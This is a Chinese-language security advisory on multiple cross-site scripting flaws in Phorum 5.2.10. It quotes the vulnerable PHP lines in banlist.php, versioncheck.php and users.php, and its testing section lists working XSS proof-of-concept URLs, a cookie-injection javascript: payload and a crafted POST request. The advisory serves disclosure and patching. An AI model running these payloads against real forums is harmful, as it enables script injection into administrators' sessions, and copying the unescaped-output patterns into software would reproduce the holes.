安全研究

安全漏洞
Phorum多个跨站脚本漏洞

发布日期:2009-04-16
更新日期:2009-04-17

受影响系统:
Phorum Phorum 5.2.10
描述:
BUGTRAQ  ID: 34551

Phorum是一款基于PHP的WEB论坛程序,可在Linux和Unix操作系统下使用,也可在Microsoft Windows操作系统下使用。

Phorum的管理控制台和文件上传模块没有正确地过滤用户所提交的请求参数,远程攻击者可以通过向论坛提交恶意的POST或GET请求执行跨站脚本攻击。

以下是include/admin/banlist.php文件中的有漏洞代码段:
    
    +++include/admin/banlist.php @@ 88:104
        88        if($_GET["curr"] && $_GET["delete"]){
        89    
        90            ?>
        91    
        92            <div class="PhorumInfoMessage">
        93                Are you sure you want to delete this entry?
        94                <form action="<?php echo $PHORUM["admin_http_path"] ?>" method="post">
        95                    <input type="hidden" name="module" value="<?php echo $module; ?>" />
XXX        96                    <input type="hidden" name="curr" value="<?php echo $_GET['curr']; ?>" />
        97                    <input type="hidden" name="delete" value="1" />
        98                    <input type="submit" name="confirm" value="Yes" />&nbsp;<input type="submit"
        name="confirm" value="No" />
        99                </form>
       100            </div>
       101    
       102            <?php
       103    
       104        } else {
    ---include/admin/banlist.php
    
include/admin/banlist.php文件的94行也存在类似的跨站脚本漏洞。

以下是一个较难利用的跨站脚本,因为必须通过修改用户的cookie来储存攻击载体并将用户重新定向到versioncheck.php文件:
    
    +++versioncheck.php @@ 79:83
        79    <?php if ($upgrade_available) { ?>
        80      <div class="notify_upgrade">
XXX        81        <a target="_top" href="admin.php?module=version">New Phorum version <?php print
        $upgrade_available ?> available!</a>
        82      </div>
        83    <?php } else { ?>
    ---versioncheck.php

include/admin/users.php文件中存在另一个跨站脚本,但仅可通过POST请求利用:
    
    +++include/admin/users.php @@ 87:93
        87          //check for a valid email
        88          if (!empty($_POST["email"])) {
        89              include('./include/email_functions.php');
        90              $valid_email = phorum_valid_email($_POST["email"]);
        91              if ($valid_email !== true)
XXX        92                  $error = "The email \"$_POST[email]\" is not valid!";
        93          }
    ---include/admin/users.php
    
同一文件的82行也存在类似的漏洞。

users.php文件中也存在跨站脚本漏洞,可通过Referer参数或$_POST['referrer']利用:
    
    +++include/admin/users.php @@ 52:59
        52    if (isset($_POST['referrer'])) {
XXX        53        $referrer = $_POST['referrer'];
        54        unset($_POST['referrer']);
        55    } elseif (isset($_SERVER['HTTP_REFERER'])) {
XXX        56        $referrer = $_SERVER['HTTP_REFERER'];
        57    } else {
        58        $rererrer = "{$PHORUM["admin_http_path"]}?module=users";
        59    }
    ---include/admin/users.php
    +++include/admin/users.php @@ 659:661
       659    
XXX       660        $frm->hidden("referrer", $referrer);
       661    
    ---include/admin/users.php

<*来源:cicatriz (c1c4tr1z@voodoo-labs.org
  
  链接:http://marc.info/?l=bugtraq&m=123989549623594&w=2
        http://secunia.com/advisories/34651/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://localhost/phorum-5.2.10/admin.php?module=banlist&curr=1"><img/src/onerror="alert('voodoo');&delete=1
http://www.victim.com/phorum-5.2.10/admin.php?module=badwords&curr=1"><img/src/onerror="alert('voodoo');&delete=1
javascript:with(document)cookie="phorum_upgrade_available=<iframe/src='javascript:alert(/voodoo/.source)'>",location="http://www.victim.com/phorum-5.2.10/versioncheck.php";

    POST /phorum-5.2.10/admin.php HTTP/1.1
    
    module=users&referrer=http%3A%2F%2Fwww.victim.com%2Fphorum-5.2.10%2Fadmin.php%3Fmodule%3Dusers&addUser=1&username=xss&real_name=xss&email=%3Ciframe%2Fsrc%3D%22javascript%3Aalert%28%27voodoo%27%29%3B%22%3E&password1=xss&password2=xss
    &admin=0

建议:
厂商补丁:

Phorum
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://trac.phorum.org/changeset/4009

浏览次数:3490
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障